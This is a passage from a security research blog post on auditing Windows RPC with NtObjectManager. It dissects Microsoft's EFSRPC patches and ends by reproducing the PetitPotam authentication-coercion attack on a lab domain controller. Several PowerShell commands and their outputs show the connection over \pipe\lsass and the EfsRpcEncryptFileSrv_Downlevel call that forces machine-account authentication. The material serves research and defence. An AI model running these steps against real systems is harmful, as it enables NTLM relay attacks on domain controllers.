Itm4n walks through the creation of an RPC client built with Visual Studio. NtObjectManager obviates that entire step by dynamically building a client from the parsed NtApiDotNet.Win32.RpcServer. I would explain more of how this dynamic client generation works, but I’m still wrapping my head around this. The code says it is building (or compiling) a C# assembly in memory. Within it’s RpcClientBuilder class it has reference to the RpcServer containing all the data parsed out from the RpcServer as we walked through before. The RpcClientBuilder initialization seems to parse out NDR types just as the RpcView decompiler code was doing. After that I get a bit lost, but it seems to dynamically generate source code and then compile it. Making it immediately available in Powershell.

Accepting I don’t understand it fully, let’s head back to Powershell where we select our server once again.

Building a client

The client is built from the parsed RPC server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\Users\user> $efsrpc = $allrpc | ? { $_.InterfaceId -eq 'c681d488-d850-11d0-8c52-00c04fd90f7e' }
PS C:\Users\user> $efsrpc

Name          UUID                                 Ver Procs EPs Service Running
----          ----                                 --- ----- --- ------- -------
efslsaext.dll c681d488-d850-11d0-8c52-00c04fd90f7e 1.0 21    0           False


PS C:\Users\user> $client = Get-RpcClient $efsrpc
PS C:\Users\user> $client 


New              : _Constructors
NewArray         : _Array_Constructors
Connected        : False
Endpoint         :
ProtocolSequence :
ObjectUuid       : 00000000-0000-0000-0000-000000000000
InterfaceId      : c681d488-d850-11d0-8c52-00c04fd90f7e
InterfaceVersion : 1.0
Transport        :

After the client is built, we need to connect it to the RPC server to call the procedures.

1
2
3
4
5
6
7
PS C:\Users\user> Connect-RpcClient $client
Exception calling "Connect" with "4" argument(s): "Can't find endpoint for c681d488-d850-11d0-8c52-00c04fd90f7e 1.0 with protocol sequence ncalrpc"
At C:\Program Files\WindowsPowerShell\Modules\NtObjectManager\1.1.33\NtObjectManager.psm1:14143 char:17
+ ...             $Client.Connect($ProtocolSequence, $EndpointPath, $Networ ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentException

Well the error is pretty clear. From the $client output there was no endpoint or protocol derived from the parsing of the RPC server.

We can cheat for this because we have read @itm4n article or have browsed petitpotam code and we know that the efsrpc interface is available here:

  • ID of the interface: c681d488-d850-11d0-8c52-00c04fd90f7e
  • Protocol sequence: ncacn_np
  • Name of the endpoint: \pipe\lsass

So we try to connect to the client once more, this time passing in the binding information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS C:\Users\user> Connect-RpcClient -Client $Client -ProtocolSequence ncacn_np -EndpointPath "\pipe\lsass"
PS C:\Users\user> $client


New              : _Constructors
NewArray         : _Array_Constructors
Connected        : True
Endpoint         : \??\pipe\lsass
ProtocolSequence : ncacn_np
ObjectUuid       : 00000000-0000-0000-0000-000000000000
InterfaceId      : c681d488-d850-11d0-8c52-00c04fd90f7e
InterfaceVersion : 1.0
Transport        : NtApiDotNet.Win32.Rpc.Transport.RpcNamedPipeClientTransport



PS C:\Users\user> $client.Connected
True

You have to admit, if you are going for speed, you would use NtObjectManager instead of Visual Studio to build your client. :)

Flexing the interface to call the procedure

OK, now we have a connected RPC client. What procedures are available?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
PS C:\Users\user> $client | gm


   TypeName: Client

Name                                        MemberType Definition
----                                        ---------- ----------
Connect                                     Method     void Connect(NtApiDotNet.Win32.RpcEndpoint endpoint, NtApiDotNet.Win32.Rpc.Transport.RpcTransportSecurity transport_security), vo...
Disconnect                                  Method     void Disconnect()
Dispose                                     Method     void Dispose(), void IDisposable.Dispose()
EfsRpcAddUsersToFileEx_Downlevel            Method     int EfsRpcAddUsersToFileEx_Downlevel(int p0, System.Nullable[Struct_8] p1, string p2, Struct_5 p3)
EfsRpcAddUsersToFile_Downlevel              Method     int EfsRpcAddUsersToFile_Downlevel(string p0, Struct_5 p1)
EfsRpcCloseRaw_Downlevel                    Method     EfsRpcCloseRaw_Downlevel_RetVal EfsRpcCloseRaw_Downlevel(NtApiDotNet.Ndr.Marshal.NdrContextHandle p0)
EfsRpcDecryptFileSrv_Downlevel              Method     int EfsRpcDecryptFileSrv_Downlevel(string p0, int p1)
EfsRpcDuplicateEncryptionInfoFile_Downlevel Method     int EfsRpcDuplicateEncryptionInfoFile_Downlevel(string p0, string p1, int p2, int p3, System.Nullable[Struct_8] p4, int p5)
EfsRpcEncryptFileSrv_Downlevel              Method     int EfsRpcEncryptFileSrv_Downlevel(string p0)
EfsRpcFileKeyInfoEx_Downlevel               Method     EfsRpcFileKeyInfoEx_Downlevel_RetVal EfsRpcFileKeyInfoEx_Downlevel(int p0, System.Nullable[Struct_8] p1, string p2, int p3)
EfsRpcFileKeyInfo_Downlevel                 Method     EfsRpcFileKeyInfo_Downlevel_RetVal EfsRpcFileKeyInfo_Downlevel(string p0, int p1)
EfsRpcFlushEfsCache_Downlevel               Method     int EfsRpcFlushEfsCache_Downlevel()
EfsRpcGenerateEfsStream_Downlevel           Method     EfsRpcGenerateEfsStream_Downlevel_RetVal EfsRpcGenerateEfsStream_Downlevel()
EfsRpcGetEncryptedFileMetadata_Downlevel    Method     EfsRpcGetEncryptedFileMetadata_Downlevel_RetVal EfsRpcGetEncryptedFileMetadata_Downlevel(string p0)
EfsRpcNotSupported_Downlevel                Method     int EfsRpcNotSupported_Downlevel(string p0, string p1, int p2, int p3, System.Nullable[Struct_8] p4, int p5)
EfsRpcOpenFileRaw_Downlevel                 Method     EfsRpcOpenFileRaw_Downlevel_RetVal EfsRpcOpenFileRaw_Downlevel(string p1, int p2)
EfsRpcQueryRecoveryAgents_Downlevel         Method     EfsRpcQueryRecoveryAgents_Downlevel_RetVal EfsRpcQueryRecoveryAgents_Downlevel(string p0)
EfsRpcQueryUsersOnFile_Downlevel            Method     EfsRpcQueryUsersOnFile_Downlevel_RetVal EfsRpcQueryUsersOnFile_Downlevel(string p0)
EfsRpcReadFileRaw_Downlevel                 Method     EfsRpcReadFileRaw_Downlevel_RetVal EfsRpcReadFileRaw_Downlevel(NtApiDotNet.Ndr.Marshal.NdrContextHandle p0)
EfsRpcRemoveUsersFromFile_Downlevel         Method     int EfsRpcRemoveUsersFromFile_Downlevel(string p0, Struct_0 p1)
EfsRpcSetEncryptedFileMetadata_Downlevel    Method     int EfsRpcSetEncryptedFileMetadata_Downlevel(string p0, System.Nullable[Struct_8] p1, Struct_8 p2, System.Nullable[Struct_10] p3)
EfsRpcSetFileEncryptionKey_Downlevel        Method     int EfsRpcSetFileEncryptionKey_Downlevel(System.Nullable[Struct_6] p0, int p1, int p2)
EfsRpcWriteFileRaw_Downlevel                Method     int EfsRpcWriteFileRaw_Downlevel(NtApiDotNet.Ndr.Marshal.NdrContextHandle p0, byte[] p1)
EfsUsePinForEncryptedFiles_Downlevel        Method     int EfsUsePinForEncryptedFiles_Downlevel(Struct_4 p0, Struct_9 p1)

The original procedure used in PetitPotam was EfsRpcOpenFileRaw.

The function signature for EfsRpcOpenFileRaw from the client says it only requires a string and an int. Easy enough to pass in a Powershell console.

1
EfsRpcOpenFileRaw_Downlevel_RetVal EfsRpcOpenFileRaw_Downlevel(string p1, int p2)

From MSDN we know:

1
2
3
4
5
6
long EfsRpcOpenFileRaw(
  [in] handle_t binding_h,
  [out] PEXIMPORT_CONTEXT_HANDLE* hContext,
  [in, string] wchar_t* FileName,
  [in] long Flags
);

Again taking a look at PetitPotam and itm4n’s example, we gather some specifics about the parameters. We just need to pass in a UNC file path forFileName and null for the Flags.

1
2
3
4
5
PS C:\Users\user> $client.EfsRpcOpenFileRaw_Downlevel("\\127.0.0.1\C$\workspace\all-your-RPC-are-belong-to-NtObjectManger.txt",0)

p0                                                           retval
--                                                           ------
Handle: 00000000-0000-0000-0000-000000000000 - Attributes: 0      5

Hmm. Handle 0. retval 5. Does 5 == ERROR_ACCESS_DENIED?. Why???

It took me four days to figure out why!

Troubleshooting PetitPotam

There are a myriad of reasons any particular RPC call doesn’t succeed. To make a remote procedure call, a client must first bind (or connect) to the server, and then call the procedure. To connect to an RPC server, there might be security descriptor with criteria your client doesn’t meet, or specific server interface registration flags might prevent your client from connecting remotely. For the actual procedure to succeed, there might be a security callback function that you need to satisfy, or the RPC server might have its own custom checks built into the procedure itself. Ad hoc security checks, one of the changes to efslsaext.dll, is one of the many reasons our last attempt to call a procedure failed.

The reason our call to EfsRpcOpenFileRaw_Downlevel didn’t work is because I am running this in 2022, and the efslsaext.dll (10.0.22000.556) has dramatically changed since the original PetitPotam (10.0.22000.132) and even since Forshaw gave us detailed information about the first patch to PetitPotam (10.0.22000.376).

EfsRpcOpenFileRaw_Downlevel - Local calls not allowed

The connection I made above was to my local machine, the result of not specifying a remote address.

1
PS C:\Users\user> Connect-RpcClient -Client $Client -ProtocolSequence ncacn_np -EndpointPath "\pipe\lsass"

Several Efs calls include a security check call to EfsRpcpValidateClientCall that will fail the procedure if you call it from a local context.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void EfsRpcpValidateClientCall(RPC_BINDING_HANDLE Binding, 
                               PBOOL ValidClient) {
  unsigned int ClientLocalFlag;
  I_RpcBindingIsClientLocal(NULL, &ClientLocalFlag);
  if (!ClientLocalFlag) {
    RPC_WSTR StringBinding;
    RpcBindingToStringBindingW(Binding, &StringBinding);
    RpcStringBindingParseW(StringBinding, NULL, &Protseq, 
                           NULL, NULL, NULL);
    if (CompareStringW(LOCALE_INVARIANT, NORM_IGNORECASE, 
        Protseq, -1, L"ncacn_np", -1) == CSTR_EQUAL)
        *ValidClient = TRUE;
    }
  }
}

Explained by @tiraniddo:

Basically the ValidClient parameter will only be set to TRUE if the caller used the named pipe transport and the pipe wasn’t opened locally, i.e. the named pipe was opened over SMB. This is basically all the security that’s being checked for. Therefore the only security that could be enforced is limited by who’s allowed to connect to a suitable named pipe endpoint. How to secure a Windows RPC Server, and how not to

OK, local calls won’t work for any procedure that makes a call to EfsRpcpValidateClientCall. I will have to change the setup of my auditing. There was a remote procedure call that succeeded despite my client connection via localhost. It succeeded because the local check was absent and it simply returns a value.

EfsRpcFileKeyInfoEx decompilationEfsRpcFileKeyInfoEx decompilation Ghidra

1
2
3
4
5
PS C:\Users\user> $client.EfsRpcFileKeyInfoEx_Downlevel(2, $client.New.Struct_8(), 'test',1)

p4 retval
-- ------
       50

0x32 == 50

OK, for the procedure we care about, we can solve the local connect problem by connecting to a remote machine… or so I thought.

NtObjectManager Cheats with Pipes

Here is an attempt to connect to a pipe on a remote machine:

1
2
3
4
5
6
7
PS C:\Users\user> Connect-RpcClient -Client $client -StringBinding "ncacn_np:192.168.0.20[\\pipe\\lsass]"
Exception calling "Connect" with "2" argument(s): "(0xC000006D) - The attempted logon is invalid. This is either due to a bad username or authentication information."
At C:\Program Files\WindowsPowerShell\Modules\NtObjectManager\1.1.33\NtObjectManager.psm1:14161 char:17
+                 $Client.Connect($StringBinding, $security)
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : NtException

Received the exception. "The attempted logon is invalid. This is either due to a bad username or authentication information.". Oh right, just need to add valid creds…

-Credentials $(Get-LsaCredential -UserName "ABC" -Domain "DOMAIN" -Password "pwd")

1
2
3
4
5
6
7
PS C:\Users\user> Connect-RpcClient -Client $client -StringBinding "ncacn_np:192.168.0.20[\\pipe\\lsass]" -Credentials $(Get-LsaCredential -UserName "ABC" -Domain "DOMAIN" -Password "pwd")
Exception calling "Connect" with "2" argument(s): "(0xC000006D) - The attempted logon is invalid. This is either due to a bad username or authentication information."
At C:\Program Files\WindowsPowerShell\Modules\NtObjectManager\1.1.33\NtObjectManager.psm1:14161 char:17
+                 $Client.Connect($StringBinding, $security)
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : NtException

Still fails with valid credentials. It becomes a bit more clear looking at the attempted connection to the pipe over SMB.

smb-pipe-failSMB Pipe Connection Failure

Even when you supply credentials to Connect-RpcClient, NtObjectManager doesn’t use the username or password to connect to the pipe. It “cheats” a bit by relying on NtOpenFile to connect the pipe. SMB by default sends over your logged in user credentials when you call NtOpenFile with a UNC path. Impacket is able to set creds, but perhaps because it provides more low-level control of SMB? Again, this seems like an issue with the initial connection to the named pipe over SMB rather than NtObjectManager’s ability to use the RPC named pipe transport security on a connected client. Once connected, it properly leverages the RPC transport security and is able to set RPC authentication info. To workaround the initial pipe connection issue, we need to setup a remote machine with an account matching that of our client machine. More on that in a bit.

EfsEnforceClientAuthentication - Ensure PACKET_PRIVACY

Yet another check was added to EfsRpcpValidateClientCall in efslsaext.dll (10.0.22000.556) to check for specific AuthInfo settings for the RPC client connection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
undefined8 EfsEnforceClientAuthentication(void)

{
  RPC_STATUS RVar1;
  undefined8 uVar2;
  undefined8 uVar3;
  ulong local_res8 [2];
  RPC_AUTHZ_HANDLE local_res10 [3];
  
  uVar3 = 0;
  local_res10[0] = (RPC_AUTHZ_HANDLE)0x0;
  uVar2 = 0;
  local_res8[0] = 0;
  RVar1 = RpcBindingInqAuthClientW
                    ((RPC_BINDING_HANDLE)0x0,local_res10,(RPC_WSTR *)0x0,local_res8,(ulong *)0x0,
                     (ulong *)0x0);
  if (RVar1 == 0) {
    // Check AuthenticationLevel == PACKET_PRIVACY
    if ((local_res8[0] != 6) && (uVar3 = 5, _DAT_18001a910 == 0)) {   
      fnEfsLogTrace1(uVar2,&EFS_CLI_AUTH_INSECURE,5,0x15,4);
      _DAT_18001a910 = 1;
    }
  }
  else {
    if (_DAT_18001a910 == 0) {
      fnEfsLogTrace1(uVar2,&EFS_CLI_AUTH_INSECURE,RVar1,0x15,4);
      _DAT_18001a910 = 1;
    }
    uVar3 = 5;
  }
  return uVar3;
}

Within the EfsEnforceClientAuthentication the Windows API, RpcBindingInqAuthClientW parses authentication info from the client connection.

1
2
3
4
5
6
7
8
RPC_STATUS RpcBindingInqAuthClientW(
  RPC_BINDING_HANDLE ClientBinding,
  RPC_AUTHZ_HANDLE   *Privs,
  RPC_WSTR           *ServerPrincName,
  unsigned long      *AuthnLevel,
  unsigned long      *AuthnSvc,
  unsigned long      *AuthzSvc
);

This connection check ensures that the AuthenticationLevel is PACKET_PRIVACY (6) for the connection with this line:

(local_res8[0] != 6)

When we setup our initial connection, we did not specify any of the authentication level required by this check.

1
PS C:\Users\testguy> Connect-RpcClient -Client $client -AuthenticationLevel PacketPrivacy

EfsRpcOpenFileRaw_Downlevel Doesn’t Exist

OK, so I have lied a bit. The reasons above for procedure call failure are true for most of the “downlevel” functions.

efslsaext-downlevel-funcsefslsaext downlevel functions

Each procedure that actually provides useful functionality has added the ad hoc security via the EfsRpcpValidateClientCall check.

EfsRpcpValidateClientCall-func-call-treeEfsRpcpValidateClientCall-func-call-tree

It just so happens for efslsaext.dll (10.0.22000.556) and later, they just remove the EfsRpcOpenFileRaw_Downlevel procedure functionality.

EfsRpcOpenFileRaw_Downlevel-decompEfsRpcOpenFileRaw_Downlevel Decompliation from Ghidra

For Server 2019 as well:

EfsRpcOpenFileRaw_Downlevel-decomp-2019EfsRpcOpenFileRaw_Downlevel Server 2019 Decompliation from Ghidra

Perhaps they have had enough of Petitpotam. Lucky for PetitPotam, other functions (such as EfsRpcEncryptFileSrv_Downlevel) that force NTLM relay are still available and a part of PetitPotam current implementation.

EfsRpcEncryptFileSrv_DownlevelEfsRpcEncryptFileSrv_Downlevel Decompliation from Ghidra

All Your RPC are belong to NtObjectManager

OK, just to see this work end to end, I setup a Server 2019 domain controller and updated original efslsaext.dll 10.0.17763.1 to 10.0.17763.2686. This version is still vulnerable to PetitPotam. I had to create a domain user account to match that of my client to make sure my NtObjectManager dynamic client could still connect to the remote pipe despite the hiccup.

And finally…

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\testguy> Connect-RpcClient -Client $client -StringBinding "ncacn_np:192.168.0.20[\\pipe\\lsass]" -AuthenticationLevel PacketPrivacy -AuthenticationType WinNT -Credentials $(Get-LsaCredential -UserName "testguy" -Domain "domain" -Password "password")

PS C:\Users\testguy\> $client

New              : _Constructors
NewArray         : _Array_Constructors
Connected        : True
Endpoint         : \??\UNC\192.168.0.20\pipe\lsass
ProtocolSequence : ncacn_np
ObjectUuid       : 00000000-0000-0000-0000-000000000000
InterfaceId      : c681d488-d850-11d0-8c52-00c04fd90f7e
InterfaceVersion : 1.0
Transport        : NtApiDotNet.Win32.Rpc.Transport.RpcNamedPipeClientTransport

We are connected. Let’s try PetitPotam vulnerable procedures.

1
2
3
4
5
PS C:\Users\testguy\> $client.EfsRpcOpenFileRaw_Downlevel('\\127.0.0.1\C$\Workspace\all-your-RPC-are-belong-to-NtObjectManger.txt',0)

p0                                                           retval
--                                                           ------
Handle: 00000000-0000-0000-0000-000000000000 - Attributes: 0      5

The return value for EfsRpcOpenFileRaw_Downlevel is 5 as expected.

1
2
PS C:\Users\testguy\> $client.EfsRpcEncryptFileSrv_Downlevel('\\127.0.0.1\C$\test\all-your-RPC-are-belong-to-NtObjectManger.txt')
0

The call to EfsRpcEncryptFileSrv_Downlevel returns 0 and triggers Petitpotam.

petitpotam-procmon-ntobjectmanager.pngProcMon PetitPotam evidence via NtObjectManager

In the Procmon output, you can see the call to CreateFile from lsass running as SYSTEM on the UNC patch specified in your RPC call EfsRpcEncryptFileSrv_Downlevel. In this way, PetitPotam forces an arbitrary host to authenticate to another machine, best explained by Itm4n:

Of course, the NT AUTHORITY\SYSTEM account cannot be used for network authentication. So, when invoking this procedure with a remote path on a domain-joined machine, Windows will actually use the machine account to authenticate on the remote server. This explains why “PetitPotam” is able to coerce an arbitrary Windows host to authenticate to another machine. from-rpcview-to-petitpotam

We made it!

Conclusion

This concludes our journey into RPC auditing with NtObjectManager. If you made it this far, well done. It was a long trek, but hopefully you learned some things along the way.

NtObjectManager is a powerful tool for RPC auditing and understanding. The ability to generate an RPC client dynamically (with no IDL file or MIDL compiler) and try out procedures on the fly is powerful. It doesn’t mean you won’t run into issues trying to troubleshoot a failed remote procedure call, but if it was easy, would it be fun?

I hope you have a better idea of the available RPC enumeration tools and perhaps a head start on your next RPC auditing adventure with NtObjectManager.

Please reach out @clearbluejar with questions or comments. Also appreciate any feedback or corrections you might have for the post.

Cheers again to @itm4n for inspiration, @topotam for PetitPotam, and @tiraniddo for NtObjectManager.


Cover photo by Leif Linding on Unsplash

This post is licensed under CC BY 4.0 by the author.